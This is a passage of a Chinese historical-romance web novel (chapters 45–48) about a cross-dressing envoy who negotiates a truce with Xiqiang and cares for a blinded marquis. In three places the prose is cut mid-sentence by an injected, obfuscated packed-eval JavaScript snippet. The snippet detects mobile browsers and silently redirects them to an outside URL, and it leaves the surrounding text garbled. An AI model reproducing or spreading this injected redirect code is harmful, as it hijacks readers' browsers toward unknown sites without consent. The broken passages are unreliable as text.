一切皆已落定,吴长逸才率侍卫姗姗来迟。 吴长逸环视四周,又令人检查了两名刺客,并未得到什么线索,才对裴霁曦道:“让侯爷受惊了,是我等看护不利,让刺客有机可乘。” 初学清冷声道:“吴将军,这是在官驿之中,又有众多护卫把守,此二人还能公然行刺,可见我们的疏漏。” 吴长逸知道自己失职,便承诺道:“我会让他们加强防范,这种事情不会再发生了。” 此时桑静榆被争斗声吵到,穿过人群,走进屋中,见此凌乱场景,惊呼道:“夫君你没事吧?” 初学清见桑静榆来了,忙道:“我没事,裴兄受伤了,你快来瞧瞧。” 桑静榆放下心来,大致看了下裴霁曦的手臂,扔给初学清一瓶药,“小伤,涂点药就好。” “剑上可有毒?”初学清不放心问道。 桑静榆又仔细瞧了瞧,“现下看是无毒的,再观察看看,应该并无大碍。 她说着又去瞧躺在地上的两具尸体,正欲检查,一旁的吴长逸喝到:“你在做什么?” 桑静榆没好气道:“在场唯一一个大夫就是我,这不顺手帮你们验尸么。” 吴长逸上前隔在她与尸体中间,“你是大夫,又不是仵作,多管闲事做什么,驿丞自会去找仵作来。” 桑静榆撇撇嘴,嘟囔着:“我见过的尸体说不定比仵作见过的都多。” 匆匆赶来的驿丞又为裴霁曦安排了新的房间,口中不停地致歉。初学清让桑静榆回去休息,跟着裴霁曦到了房内,她亲自为裴霁曦上药。 新的房间较小,屋内只有一张床,还有床边一个杌子。裴霁曦坐在床沿上,右手解开上衣,利落地脱下来。 初学清坐在一旁的杌子上,看到了裴霁曦身上的伤疤,那里有战场上厮杀的证据,也有敌营中受虐的痕迹,她的心不停地沉着,压下心中苦涩,一手捧起裴霁曦的左臂,另一手轻轻地将药洒上去。 还好裴霁曦看不见,不然她没忍住的泪水就会泄露她的情绪。 她轻轻将伤口包扎好,眨了眨眼,挤掉悬在眼眶的泪水,借着包扎的姿势,迅速用衣袖蹭干了泪水。又扫视了一下裴霁曦的身上,确定没有新增的伤口,才让他好好休息,便退出了房间。 甫一开门,便见吴长逸靠在墙侧环臂而立。 初学清轻轻关上门,便问吴长逸:“吴将军是在等我?” 吴长逸瞥她一眼,不屑道:“今夜刺客来袭,初侍郎还要眼盲的定远侯来保护,真是好男儿啊。” 初学清听出他的讥讽,沉了沉脸色,“吴将军特意等在这里,就是来嘲讽我的?” 吴长逸低着头看着眼前比自己矮了一个头的“男人”,轩轻哼一声:“你有那么重要么?”顿了顿,又道,“出了事,你不第一时间回房看看自己夫人,反而一直担忧定远侯那点小伤,是为人夫君该做的事吗?” 初学清心下了然,略微思索,便轻笑道:“吴将军再看不惯,静榆的夫君仍然是我。” 吴长逸咬着牙,一字一顿道:“初学清,你凭什么?” “凭我不阻拦静榆行医,凭我不介意世人眼光,凭我让她做桑静榆而不只是初夫人,凭我尊之重之,敬之爱之。” 吴长逸只觉自己一直隐藏着的那点卑劣心思翻涌而出,似被狠狠扇了耳光。他沉默片刻,才道:“你所行之路,危机重重,为何要把她也带入险境?” 初学清抬头定定看着吴长逸,正色答道:“不是我把她带入险境,是她自己可以选择走什么路,只是恰巧与我随行。” 吴长逸不再言语,心中沉闷异常,以为可以挑衅的地方,却被对方堵得无话可说。 初学清见他面色不虞,又道:“我不知道自己的路能走多长。如果……如果有什么不测,而静榆又愿意有新的选择,我也希望她能幸福。” 吴长逸诧异看向初学清,却见初学清淡淡一笑,转身离去。 吴长逸此时觉得自己输的彻底,每每看见初学清对桑静榆的一点疏忽,他都能放大百倍,并以此作为桑静榆选择错误的证据。殊不知,真正错误的人,是自己。 隔着一扇门的房内,裴霁曦清晰地听到他们的对话。不阻拦她做自己想做的事,不介意世人的眼光,尊之重之,敬之爱之——若他早听到这番话,若他早做到这些,是不是如今也能画眉举案、和如琴瑟呢? * 西境不似北境般严寒,残冬的余寒已是强弩之末,混在微弱的风中,挟着清河的湿意,扑在人的脸上,却不觉得难受。 如今的新勐城,距离旧址不足百里,像复刻一般,将勐城昔日的繁华印在新城之中。和缓的日光轻洒在这座城中,整洁的街道上炊烟袅袅,鳞次栉比的房屋显示着这座新城的烟火之气。 初学清一行人总算到了勐城,吴长逸查出之前的刺客是西羌人,看来西羌人已经得到风声,知晓了此次出使有裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001462|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霁曦同行,便提前派人来试探。这也正说明了,此次和谈险阻多端。 勐城的知府曾彦早早候在城门等待迎接。 曾彦文质彬彬,看上去不过二十出头,他行过礼,便让大家换乘准备好的马车。 初学清翻身下马,不忘站在裴霁曦马旁,以免他下马时跌倒,可裴霁曦也没用人扶,利落下马。 初学清对裴霁曦道:“听闻舞阳将军恰在勐城养病,我公务在身,不便到访,可否允内子代为拜访,顺便为她调理下身体?” 裴霁曦惊诧片刻,瞬间便明白了初学清的好意,裴梦芝近年来疾病缠身,若能得桑静榆当面医治必然大有益处,他诚挚道:“多谢。” 初学清笑道:“裴兄客气了,医者仁心,何况舞阳将军为大宁立下汗马功劳,我等也希望她能身体康健。” 桑静榆虽不喜裴霁曦,但对舞阳将军仍是敬慕有加,早就和初学清商量好来勐城后拜访。她在一旁道:“舞阳将军乃女中豪杰,我早就想去拜访了。还有明履营,待我为将军诊治后,也要去明履营看一看,那里多的是我巾帼英雄。” 裴霁曦愈发觉得桑静榆与初学清实乃良配,两人虽性子南辕北辙,但皆是纯善之辈。 桑静榆告别他们去往将军府,初学清护着裴霁曦上了马车,吴长逸也随之上马车。 曾彦在马车上为他们介绍如今的勐城现状。 西羌此次出征,是西羌王御驾亲征,勐城是防守的重中之重。 自旧勐城淹没在水战一役中,为保边境安稳,朝廷主导新勐城的建设,旧城之人迁徙到了这里。经过多年的休养生息,新勐城如今已是接袂成帷,车水马龙。 曾彦说着说着,又定定看着身旁二人:“说起来,侯爷和初侍郎实乃下官的恩人。” 初学清并没有忘记曾彦,当年她初任吏部侍郎,在吏部铨选之时,勐城新迁不久,百废待兴,是个容易出功绩的地方,许多人想要到此大展拳脚。她觉得曾彦才华满腹,且乃勐城旧人,最知勐城不易,因此力排众议推他到了勐城。 这些年来,她虽未亲至勐城,但从御史口中得知勐城如今的样貌,曾彦的确没有辜负她的期望。 吴长逸并不知其中渊源,闻言诧异问道:“此话怎讲?” 曾彦笑答:“下官祖籍勐城,当年水战,我一文弱书生,手无缚鸡之力,没能为国效力,幸得侯爷带领明履营保护了勐城百姓,救我一家性命。” 曾彦又看向初学清:“当年吏部铨选,下官出身寒门,本未对选官抱有什么希望,可初侍郎念我才华,给我机会,让我为新勐城的建设出一份力。所以二位皆乃下官恩人,今日有幸同时得见二位,幸甚之至,待得此间事了,一定给我个机会好好招待。” 初学清看向一旁沉默着的裴霁曦,自打进入勐城地界,裴霁曦便沉默寡言,她知道当年那场战争实在太过残酷,让初闻的人难免有所误解。她也是后来经历官场浮沉,身担重责之后,才能明白当初裴霁曦的选择。 这只是道德两难问题,并不是谁的孽。 46. 第 46 章 初学清道:“曾大人将勐城治理得很好,实乃勐城之幸。不知如今当年旧城之人,是否大多在此安居?” 曾彦笑答:“如今勐城人口,十之八九是当年旧城迁徙过来的。”顿了顿,他看向裴霁曦,“侯爷,不管西羌人怎么闹,勐城如今的百姓,都视您为再生父母。” 裴霁曦面上情绪晦暗不明,他垂眸道:“受之有愧。” 曾彦道:“侯爷过谦,若不是舞阳将军拦着,勐城百姓本想塑座您的雕像,以示感激。” 初学清看着沉默的裴霁曦,不禁回想起当年她那些刺耳之言,沉默片刻,才道:“侵略者妄图用士兵的牺牲扭曲战争的真相,是在掩盖自己的罪行,当年水战,死的若不是西羌三万士兵,便是勐城的数十万百姓。如今西羌借口复仇,实在是无耻之至。” 裴霁曦闻言,神色微动,初学清的话一语中的,他从未因当初冬雪的斥责怀疑过自己的决定,只是苦于连一个解释的机会都没有,不能将其中利弊尽数告诉冬雪。 同为武将的吴长逸也看出裴霁曦的异样,只道:“怎么,难道还要本国的将军去为敌国士兵的死亡负责吗?真是滑天下之大稽。” 曾彦试探着道:“这次倒不曾想过侯爷会来……是来视察军情吗?” 即使曾彦语调中做了遮掩,但初学清仍能听出他的试探。 西羌即使在腹背受敌的情况下也未像北狄一样撤兵,意图昭昭,无非是想借着为三万士兵报仇的由头,掩盖自己的恶劣罪行。 这个节骨眼上,裴霁曦,一个瞎了的将军陪同使臣来到勐城,难免让人多想。 但初学清仍旧坚定道:“曾大人放心,西羌没有资格和我们谈条件。” 吴长逸看向初学清,其实他们这些人心知肚明,为何将裴霁曦带到西羌和谈。虽然他不曾在边疆效力,但同样能体会这种为国征战后被当作棋子的无奈,他闷声道:“侯府一门为国征战,百姓也不允许西羌宵小染指大宁忠烈。” 众人或明或暗的安慰,并没有让裴霁曦对于活着有什么侥幸。眼盲至今三月有余,他几乎对复明不抱希望。而一个瞎了的将军,显然失去了作战能力,或许他最后的作用,就在于西羌止戈。 一行人到达西境大营,曾彦公务在身,就此拜别,临别前又私下和初学清言语一番。裴霁曦虽耳力好,可二人特地避开了他,他听不到他们在说什么,但也大致能猜到,一个在担忧,一个在承诺。 曾彦刚走,西境定远军的副将林玥怡就前来迎接。 林玥怡是裴霁曦的表妹,裴梦芝的女儿,如今带领明履营在西境辅助祈允。 她笔挺的身材在盔甲的映衬中更显飒爽,模样是个俏丽的姑娘,却丝毫没有小女儿的作态,举手投足尽显英气,隔着老远,她挥着双手,开口就是爽朗的大喊:“表兄!” 跑到跟前,她围着裴霁曦:“表兄,听说你来,我早早就让大家摆了擂,要给咱们定远军主将看看西境定远军的风采,你这么多年都没来过西境,可得好好指教指教咱们。” 裴霁曦涣散着眸光,点了点头:“我知道你们做得很好。” 林玥怡这才察觉不对,伸出手在裴霁曦眼前晃了晃,被裴霁曦无奈隔开,裴霁曦解释道:“是看不见了,不用试了。” “为什么?北狄人干的?” 初学清知道林玥怡也是直言直语的性子,担心她说太多刺激到裴霁曦,忙在一旁解释:“侯爷的眼疾也并非不能痊愈,只是要注意多加疗养。” 林玥怡打量了下初学清,“你是救出我表兄的初侍郎?” “不敢居功。”初学清谦虚道。 林玥怡觉得她面善,可怎么也想不起在哪见过她,毕竟上次见到身为冬雪的初学清时,林玥怡还只是一个十二岁的女娃。 林玥怡又问道:“既然表兄身患眼疾,为何不在邺清休养,来到西境呢?初侍郎来西境不是来和谈了吗?表兄来做什么?” 初学清不知如何开口解释,身后的吴长逸上前道:“是陛下旨意,因定远侯熟悉西羌情况,派定远侯协助初侍郎和谈。” “熟悉个屁!”林玥怡骂道,“论熟悉,祈将军在西境七年,不比我表兄熟悉吗?让他舟车劳顿跑这么远干什么?给西羌送人头吗?” “玥怡!”裴霁曦止住了林玥怡的话头,安慰道,“初侍郎先出使北狄,救我于水火;后出使长戎,止兵戈于无形。你要相信她。” 林玥怡蛾眉倒蹙,凤目圆瞪,不敢相信朝廷此举背后的无耻意图。 裴霁曦岔开话题:“祈将军呢?” 林玥怡没好气道:“在翔云关视察前线呢,长戎虽然配合我军对西羌出兵,但是西羌王倔得很,就是守在勐城外不肯撤军,放心,我们已经把他们打退了二十里,祁将军不放心,正守在翔云关。” 曾经的小将祈允,如今已经统管西境大军,初学清不禁回想起那个沉默寡言的少年,真想看看他领兵时是何模样。不过眼下她的身份,还是少见故人为妙。 林玥怡抬眼看了看武将打扮的吴长逸,问道:“你就是护送初侍郎出使的羽林卫指挥使吧?” “正是在下。” 林玥怡对他方才那副高高在上的京官姿态不满,讽刺道:“我们在这提着脑袋打西羌人,就是为了你们能在京城安心地多抓几个小贼呢!” 吴长逸垂下头,并未反驳什么。 裴霁曦厉声喝道:“林玥怡!何时有了这般阴阳怪气的毛病?” 林玥怡心中气不过,紧紧攥着身上的佩刀:“他们是要你的命!” 裴霁曦微微皱眉,缓了缓语气,道:“都是朝之栋梁,各司其职,我也有自己要履行的责任。” 初学清轻轻叹口气,上前对林玥怡行礼,缓声道:“没能让林副将放心,是初某失职。但初某以性命担保,和谈绝不能被西羌左右,绝不会以出卖国之栋梁,换取一时苟安。” 别人不知初学清这句承诺的重量,吴长逸却知道。 因为陛下诏令上的“不惜一切代价停战”,明明就是把初学清逼到了唯一的那条路上,虽未明言,但身为臣子,理当按此行事。 看来之前变法风波,传言定远侯与初侍郎有旧,也不是空穴来风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014476|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她甚至可以用性命来为裴霁曦作保,难怪裴霁曦愿意为变法站台。 林玥怡神色稍缓,问道:“初侍郎可有把握?” 初学清正色答道:“若没有背后雄厚的国力,没有边疆战士强劲的军力,但凭我有三寸不烂之舌,也只能因国力衰弱而任人鱼肉。但西境军屡屡得胜,若此时还要一再退让,属实不配为人臣。” 林玥怡问:“你什么时候去西羌大营和谈?” “我已着人先行送拜帖,最迟后日。” 林玥怡瞥了她一眼:“那就信你一次。”顿了顿又道,“但若西羌有什么非分之念的话,我西境的定远军可不是摆设。” 裴霁曦沉声道:“主不可因怒而兴师,将不可以愠而制战①,玥怡,在定远军待了这么多年,你还不懂这个道理吗?” 林玥怡抬眼看了看目光涣散的裴霁曦,咬了咬牙,忍下了心中不快。 * 到了出使这天,裴霁曦留在西境大营,吴长逸护送初学清前往西羌营地。 可进入营地的时候,西羌士兵只允许初学清一人进入,吴长逸本担忧初学清安危要一同进入,可西羌态度强硬,最终还是初学清自己进去的。 西羌士兵把初学清引到一个帐内,让她再次等候。可她等了一炷香的时间,还是没等到来人,看来西羌是想要杀杀大宁威风。 初学清最终决定不再等待,只对门口守着的侍卫道,若西羌王没时间接待她,她也不愿浪费时间在此,既无和谈诚意,不如在战场上谈。 终于在她此番话后,西羌王召见了她。 西羌的中军大帐内,西羌王坐于主位之上,桌前摆满美酒佳肴。两侧是西羌众武将,都分坐在两列桌旁,每人的面前也都摆着美食。 所谓的没时间,原来是在宴饮。 初学清立于众人之中的空地上,现下站着的人,除了初学清,就是侍候的奴仆。 初学清淡淡一笑:“原来这就是西羌的待客之道。” 一旁有武将轻哼道:“怎么,大宁的文臣,站都站不住吗?” 初学清淡然回道:“非也,只是贵国营地后撤了二十里,初某一路奔来有些累了。” 初学清借此讽刺西羌被定远军打得撤退了二十里,西羌王听出她言语中的讽刺之意,面色不虞,坐在高位上不屑问:“据闻大宁使臣去往北狄和谈时,可是备了不少礼,不知今日来我西羌,都备了些什么?” 去北狄和谈备的礼,本是为了赎回太子,最终作为赎回裴霁曦的障眼之法,送给了北狄。 初学清面色不改回道:“送给北狄的礼,是祝贺北狄新王继位。不知西羌是否也要有此喜事,才开口要礼呢?” 一旁有脾气冲的武将已拍案而起,这不是咒他们大王死呢? 但西羌王毕竟是一国国君,并没有轻易被激怒,他用眼神制止了发作的武将,只道:“怪不得初侍郎能以一己之力,游说长戎出兵,果然是能言善辩。” 西羌王随意拿起桌上酒盏,轻呡一口,单侧嘴角轻轻扬起,道:“可西羌和长戎不一样,大宁欠西羌三万士兵的命。” 47. 第 47 章 初学清并未被武将的冲动和西羌王的笑里藏刀吓道,正色道:“那三万士兵的命,是葬于战场之上,但真正要为他们的命负责的,不是为了保卫国土而抵抗的军人,而是厚颜无耻发动战争的人。” 西羌王拿着酒盏的手霎时收紧,眼神阴翳,厉声道:“看来初侍郎真是不怕死。” “并非是初某不怕死,而是身后的定远军给了初某底气。” 西羌王轻哼道:“初侍郎今日若是来和谈,不若拿出和谈的诚意来。”顿了顿,又冷冷道:“西羌只有一个条件——裴霁曦的项上人头。” 初学清道:“不知西羌有什么底气,提出这么不切实际的条件。” “你难道不知,我西羌公主已嫁于北狄新王,如今北狄与西羌缔结秦晋之好,大宁的西北境危矣。” 初学清笑道:“不知西羌公主是哪位大臣的女儿,又是北狄新王第几个妃子?既然已结秦晋之好,怎么北狄不想着为西羌三万将士报仇?之前我朝定远侯去北狄作客的时候,可没有人像西羌这般要取他性命。” “那是因为北狄公主贪恋男色,要他做驸马罢了。”西羌王反驳道。 “贵国真的以为,北狄公主,北狄军权最大的人,一个战场女杀神,只是耽于男色的人?她只是知道,定远侯不能杀,哀兵必胜的道理,北狄公主是知道的。所谓的驸马,也不过是冠冕堂皇的借口罢了。” 西羌王眯起眼睛,揣摩片刻,想清楚后,手中酒盏重重地扔到了桌上。 初学清见他有所动容,继续道:“北狄如今以长戎出兵为由从大宁撤兵,可孰不知,长戎只是给了北狄撤兵的借口罢了。北狄内部政权尚不明朗,新任的王与手握重权的公主,现下实在不是他们出兵的最佳时机。” 西羌王不屑道:“再有权,那也只是个公主罢了。” “可在北狄公主之前,北狄人也不会想到会有个女将军。既然女将军都当得,女王怎么就当不得。” 初学清停顿片刻,给了他们充分的思索时间,又添油加醋道:“如果北狄政权更迭,那西羌与北狄的秦晋之好,不就消散无形了?届时西羌孤军奋战,又如何敌得过东西夹击呢?当然,现下耗着国力强撑在勐城外,无非是打肿脸充胖子罢了。” 西羌王定定看着初学清,道:“你此行是想要什么结果?” 初学清听出对方口中的松动之意,缓缓道:“初某先前出使长戎,曾允诺长戎国君,愿遣工匠织女赴长戎协助当地发展,互通有无,这一条件,也对西羌适用。” 顿了顿,她又道:“当然,我国也并非无所图,开放互市,对大宁也有好处。有如此互利共赢之事,何必要用流血征战这种方式呢?” 西羌王沉默片刻,只低声道:“本王需要考虑考虑。” 初学清此行,陛下下令必须停战,她没有退路,也没有让西羌王考虑的时间,她挺直脊背,淡淡道:“此次初某出使,朝中也是争议参半,大部分朝臣,因大宁屡屡得胜,还是主战派。和谈的机会,初某只争取到这一次,您需要时间考虑,可主战派却不给初某时间,今日初某一旦回去,定远军的脚步恐就止不住了。” “笑话,定远军难道还敢侵犯我西羌国土不成,你别忘了,当初定远军北征,在北狄吃了多大的亏,你们那个老定远侯,不也死在了北狄么。” 初学清只道:“北狄地势复杂,定远军亏在地势不利。可西羌地势与大宁类似,对定远军来说,去西羌作战,和在本土防卫,可没什么区别。若您无意和谈,初某还是告辞了。” 西羌王双拳紧攥,可半晌过后,无奈松了松拳,只道:“初侍郎留步,不如坐下慢慢商谈停战条款。” 初学清紧绷的神经这才松下来,可她面上并未显现出来,只是沉着地与西羌王对条款讨价还价。 终于,她做到了。 * 当初学清带着停战协议回到勐城的时候,已是暮色四合。知府曾彦提前得知了结果,早早准备上庆功宴,初学清一进城,就被接到了勐城最大的酒楼之中。 吴长逸借口有事,没有跟去,实则是又被初学清的手腕惊到,震惊之下,今日不想再面对桑静榆。 座上人除了裴霁曦、曾彦、林玥怡,还有桑静榆。可惜祈允怕西羌反悔,还在翔云关盯着,不能前来。 曾彦引他们落座,初学清坐在桑静榆和裴霁曦中间,桑静榆另一边是林玥怡,俩人性子相像,初学清还没来的时候,桑静榆就已经和林玥怡有说有笑,都是不拘一格的女子,很快熟稔起来,林玥怡觉得桑静榆也面善,就是不知在何处见过。 众人落座,曾彦带大家举杯,庆贺此番出使顺利。 桑静榆闻着酒味不对,问了句:“这是什么酒呢?” 曾彦答:“今日有巾帼在场,特意备的桃子酒,这是勐城特产,味甘香醇,也不上头。” 桑静榆赶忙道:“我夫君桃子过敏,不能喝桃子酒。” 裴霁曦闻言一愣,仿佛有什么尘封的记忆被轻轻拨动,桃子过敏的人,原来不止冬雪。他不禁问了出来:“学清是自小就桃子过敏?” 初学清心中咯噔一下,面色一变,一时不知如何应答。 桑静榆意识到自己失言了,忙补充道:“是啊,夫君自小就过敏,桃子这个东西,有许多人都过敏的,先前我还有个病人,连桃子的味道都不能闻。” 裴霁曦听到一个医者这样说,垂下那晦暗的眸子,喃喃自语:“是,许多人都对桃子过敏。” 曾彦忙让人为初学清换了酒,初学清不经意打量着裴霁曦的神情,见他并未察觉什么,才放下心来。 初学清举杯的同时,不忘照料身旁的裴霁曦,见他摸索着酒杯,就帮他把酒杯递过去。 一旁的林玥怡看见了,就打趣桑静榆:“桑姐姐,你夫君真是个细致的人,你这姻缘实在让人羡慕,真是少见初侍郎这样不拘世俗的人。” 桑静榆夹了一筷子菜,放到初学清面前,笑道:“真不知细致到哪去了,光顾着照料别人,自己也吃啊。” 裴霁曦闻言一怔,觉察到桑静榆的不喜,只轻声对初学清道:“学清莫要顾我了,今日你奔波一路,多吃些。” 初学清倒是不介意桑静榆的话中带刺,循着记忆里裴霁曦的喜好,夹了一些菜到他面前,“裴兄不用担心我,帮你夹了一些菜,尝尝合不合胃口。” 林玥怡举起面前酒杯,对初学清道:“初大人,初见之时,小妹口无遮拦多有得罪。现在看来,真是我有眼不识金镶玉,您真是定远侯府的恩人。” “林副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027168|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将言重了,初某也只是做了份内之事。” “初大人可不要自谦了,这使臣若不是您,真不知定远侯府是何命运。”言罢,林玥怡一饮而尽。 初学清也笑着端起酒杯满杯饮尽。 桑静榆在一旁道:“是得好好感谢,夫君你不知道,西羌早一天停战,林妹妹就能早一天成亲呢。” “是么,不知何人有这福气呢?”初学清问道。 “是祁将军,是不是很般配?”桑静榆眨巴着眼睛问她。 初学清笑了笑,想起了曾经小姑娘拽着裴霁曦的袖子,不让他娶亲的样子。终于,她还是嫁给了一个将军,“的确,二位均是人中龙凤,真乃天作之合。” 林玥怡难得羞赧,赶忙转移话题:“对了,你们从邺清来,不知见到我那小外甥女裴萱没,都说她和我长得像,这么长时间没回邺清,真不知她变成什么样了。表兄,萱儿可还好吗?” 裴霁曦缓缓答道:“我也一直在望北关,鲜少回邺清。” 桑静榆撇撇嘴:“我在邺清的时候见了,跟你们兄妹俩长得都像。” 初学清手中的筷停了停,不知为何,方才饮下的酒莫名开始翻腾。 林玥怡笑道:“我就说嘛,肯定还是像裴家多一些,刚生下来的时候,我还和严将军争过,是像方家多还是像裴家多,现在看来,也对得起这个姓了!” 初学清缓缓侧目,瞧着身旁的裴霁曦,真难以想象,一个和他有血缘关系的小孩,会长什么样子。 太久了,终究还是物是人非。他们许过的情,会许给别人;他们做过的事,也会和别人做。 初学清心中酸涩,不自觉就多饮了几杯。 曾彦问道:“不知初大人在勐城能待多久?” 初学清缓缓神,答道:“明日准备动身去往樟安,有些事情要办。” 一旁的裴霁曦愣怔片刻,问道:“学清,可否让我与你同行?我之前说要寻的人,可能也在樟安。” 初学清脑中思绪纷繁,寻什么人,是她吗?都已物是人非,他都成亲生子了,为何还来扰人清梦呢?难道是因为夫人去世,就又想起她了? 她多想问问他,为何那么快就娶亲,曾经那些不舍和情深都是装出来的吗?他也对别人那般温柔吗?也会和别人耳鬓厮磨,共赴巫山吗? 可她已没有资格问这些了。 她木着脑袋答道:“好。” 裴霁曦由衷说道:“学清几次三番救我于水火,一个谢字都太轻了。” 初学清转头看向他,讷讷问道:“我保护你了吗?” “当然,你保护了我很多次。” 初学清眨眨眼,手缓缓向身旁伸去,轻轻拽住了他的衣角,摩挲片刻,又紧紧攥住,眼泪不期然坠落,“我终于能保护你了。” 终于不再是你的负累,不再是躲在你身后无能为力的小姑娘。 桑静榆见她失态,忙道:“看来我夫君真是压力太大了,这么点酒就醉了。” 裴霁曦愣怔片刻,只觉得初学清许是累了,才会显出醉态。 桑静榆忙去拽初学清的手,可初学清死死拽着裴霁曦的衣角不肯松开,口中一直低喃着“保护你……” 保护他,这是当年的冬雪,一直无能为力的事情。 48. 第 48 章 初雪晴一直觉得她和轻风不能保护裴霁曦,还是应当让墨语随侍,轻风武功一般,而她甚至不能自保,说不定还会成为拖累。 所幸他们一路到西境也算顺遂。 同是边境小镇,勐城要比邺清繁华一些。北境以阴山作为天然屏障,西境则是以清河作为护城河,四面环水。 清河的水源自西遥山山脉,勐城处于下游,为了保证雨季不会造成洪灾,上游修建了一座堤坝,保证了百姓的安居乐业。 因守着清河,勐城的冬日更加湿冷,好在他们到勐城的时候,已是残冬,习惯了邺清的风雪,倒觉勐城的冬更加温和一些。 勐城有商队接应他们,他们安顿在了勐城最大的客栈,裴霁曦住三层天字号客房,其他人住二层。商队的人也同住客栈,以免露出马脚。 小二见来了出手这么阔绰的客人,忙前忙后伺候着,又备了满满一桌饭菜送到天字号客房之中,他只觉这商人气度不凡,不苟言笑,不似一般商人那样总是满脸堆笑。 反倒是随行的丫鬟和小厮更加亲切些,尤其是那小厮,跟他聊了半天,他见对方热情,把勐城的坊市分布、风土人情、甚至权势家的风流韵事都说了个遍。直到菜品上齐,才从房间告退。 小二走了以后,裴霁曦唤初雪晴和轻风一起用餐。 三人一路行来,风餐露宿,难得有这么丰盛的晚膳。 轻风落座后,感慨了一番一路行来的不易,见裴霁曦开始动筷,就不客气地风卷残云起来。 裴霁曦见他吃得囫囵吞枣,给他递了杯茶,“明日还有正事要办,今日就不饮酒了。” 轻风插话道:“可惜了,勐城的桃子酒盛名远扬,早就想来尝尝!” “冬雪桃子过敏,吃不得桃子酒,你莫要提这个馋她。”裴霁曦道。 初雪晴夹菜的手顿了顿,她不知裴霁曦竟还知道这个,她轻声道:“我不馋酒的。” 裴霁曦想到了她第一次醉酒说要当将军的样子,恍如隔世,轻咳了下,换了话题:“你们可都背过了我的身份?” 轻风“嗯嗯”两声,冲初雪晴使眼色,示意初雪晴先说。 她只得道:“背过了,世子名唤商煦,樟安人士,十九岁,自小随父做生意,家中买卖涉及丝绸、成衣等,此次是来西境开设分店。”顿了顿,她又道,“世子,奴婢觉得,这种身份,距离接触到西境军事状况,差得有些远。” 裴霁曦抬眉问道:“那你觉得,怎样的身份更合适?” 初雪晴索性停筷,将筷子放在一旁,认真道:“普通的商人,即使有再多财富,在贪官眼中,也只是能够刮油的肥肉罢了。但如果这个商人,想打通西羌商路,甚至暗中做着兵器的买卖,胆大妄为,若西境主将汪实有什么异心,来个黑吃黑,也不无可能。” 轻风咽下口中吃食,忙道:“冬雪,你疯了吗,这样我们也很危险呀。” 裴霁曦反而点点头:“有道理,陛下怀疑汪实和西羌勾结,苦无证据,若我们制造一些‘证据’,说不定能钓他上钩。” 轻风苦着脸色道:“世子,我怎么觉得,咱们来西境,比墨语在北境还要危险呢!” 裴霁曦笑笑,“注意你们的称呼,要叫少爷。” 轻风撇嘴道:“对、对,少爷,别到时候西境军没接触到,咱们先被抓起来了。” 裴霁曦道:“不下重注,又如何入局呢。你方才同小二都聊了什么?” 轻风此次随行的作用,就是靠他的八面玲珑多收集些信息,他也没辜负裴霁曦的期望,兴冲冲道:“那小二也挺热情,把他们这的市井杂闻都给我讲了个遍。勐城知府张守同,原来是刑部尚书张德雍张家的旁支。” “张贵妃?”裴霁曦问。 “对对,就是张贵妃那个张家。他虽然是个旁支,但这个人也是有点才华的,凭自己本事参加科考,只是当了几年官后,风评不太好。” “张守同和汪家联系多吗?” “这个小二也没说,不过,方才商队里常年在勐城做生意的人说,要想打开勐城商路,除了张守同,还要贿赂汪家。” 裴霁曦点点头,“我们可以从张守同入手,慢慢接近汪家。明日便送拜帖给知府,记得多送些银两。” 轻风叹道:“唉,可惜这些银两不知道还能不能回来呀。” “能钓出大鱼,这银钱花的也值得。”裴霁曦又看向冬雪,道,“明日若张守同肯见我,冬雪随我一起去吧。” 轻风插嘴道:“世子……不不,少爷,您随身怎么也得跟个小厮吧?” 裴霁曦瞥了他一眼:“怕你话多,坏事。冬雪扮好男装,跟我同去。” 轻风揶揄看向二人,那眼神仿佛裴霁曦带冬雪不是怕坏事,是一刻舍不得分开。 初雪晴犹豫片刻,怕自己拖裴霁曦后退,轻声道:“少爷,其实轻风虽然话多,但也许能在那探得更多消息。” “到了人家的地盘,再像今日一样拉个小二问东问西,岂不引人怀疑。”裴霁曦否定道。 “可……” 裴霁曦打断初雪晴的话:“轻风另有任务,明日跟着商队,去看看铺子,既然做戏,怎么也要做真一些。” 初雪晴只得应下来,她又看了看裴霁曦,犹豫道:“少爷,其实……您最好也伪装一下,一般的商人,都是舌灿莲花,喜眉笑眼的。” 裴霁曦怔了怔,叹口气,扬起唇角问:“是这样吗?”说完不等初雪晴回答,又道,“不对,眼睛也要笑。” 他还记得当初在军营,初雪晴教祁允笑时,食指画出的弧度,就宛如初雪晴待人接物时的微笑一般。 裴霁曦的笑容太过灿烂,让初雪晴难以抑制地慌乱了起来,她垂头讷讷道:“是这样。” 是这样灿烂的少年,只是不能同路。 * 